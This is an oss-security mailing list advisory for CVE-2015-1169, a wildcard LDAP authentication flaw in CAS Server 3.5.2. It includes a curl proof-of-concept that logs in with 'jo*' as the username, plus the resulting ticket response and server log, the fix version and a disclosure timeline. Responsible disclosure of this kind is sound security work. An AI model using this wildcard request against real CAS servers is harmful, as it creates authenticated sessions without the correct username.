oss-security - CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP authentication via crafted wildcards.

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CAFCb7ujG562x5DwhF_+zJQCh5om+Ux-4tur6kJWa21QHFR3T6A@mail.gmail.com>
Date: Wed, 21 Jan 2015 12:49:38 -0200
From: "J. Tozo" <juniorbsd@...il.com>
To: oss-security@...ts.openwall.com, fulldisclosure@...lists.org
Subject: CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass
 LDAP authentication via crafted wildcards.

=====[Alligator Security Team - Security Advisory]========

  CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP
authentication via crafted wildcards.

  Reporter: José Tozo  < juniorbsd () gmail com >

=====[Table of Contents]==================================

1. Background
2. Detailed description
3. Other contexts & solutions
4. Timeline
5. References

=====[1. Background]======================================

 CAS is an authentication system originally created by Yale University to
provide a trusted way for an application to authenticate a user.

=====[2. Detailed description]============================

A valid username and password required.

Given a username johndoe and a password superpass, you can sucessfully
achieve login using wildcards:

username: jo*
password: superpass

The login will be sucessfully only if the ldap bind search return one
unique member.

The vulnerability described in this document can be validated using the
following example:

Client Request:
root@...hine:/# curl -k -L -d "username=jo%2A&password=superpass"
https://login.cas-server.com/v1/tickets

(note that * was url encoded to %2A)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
   <head>
      <title>201 The request has been fulfilled and resulted in a new
resource being created</title>
   </head>
   <body>
      <h1>TGT Created</h1>
      <form action="
https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz"
method="POST">Service:<input type="text" name="service" value=""><br><input
type="submit" value="Submit"></form>
   </body>
</html>

Server log:
=============================================================
WHO: [username: jo*]
WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz
ACTION: TICKET_GRANTING_TICKET_CREATED
APPLICATION: CAS
WHEN: Tue Jan 20 18:38:17 BRST 2015
CLIENT IP ADDRESS: xxx.xxx.xxx.xxx
SERVER IP ADDRESS: xxx.xxx.xxx.xxx
=============================================================

=====[3. Other contexts & solutions]======================

 In order to apply the patch, you have to update at least to version 3.5.3.
Newer versions, such as CAS 4.0.0 and above, are not vulnerable.

=====[4. Timeline]========================================

29/12/14 Vendor notification.
14/01/15 Vendor rolled out new version 3.5.3
17/01/15 Mitre assigned CVE-2015-1169.
21/01/15 Disclosure date.

=====[5. References]=======================================

1 - https://github.com/Jasig/cas/pull/411
2 -
https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c

-- 
Grato,

 Tozo

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.